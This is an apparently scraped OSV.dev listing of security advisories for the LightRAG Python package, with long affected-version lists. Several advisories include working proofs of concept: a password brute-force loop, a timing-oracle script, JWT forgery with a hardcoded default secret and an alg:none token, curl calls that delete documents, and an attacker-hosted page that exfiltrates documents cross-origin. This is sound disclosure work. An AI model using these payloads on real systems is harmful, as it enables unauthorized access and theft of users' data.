            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 27, 2026

1.4.12rc1 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

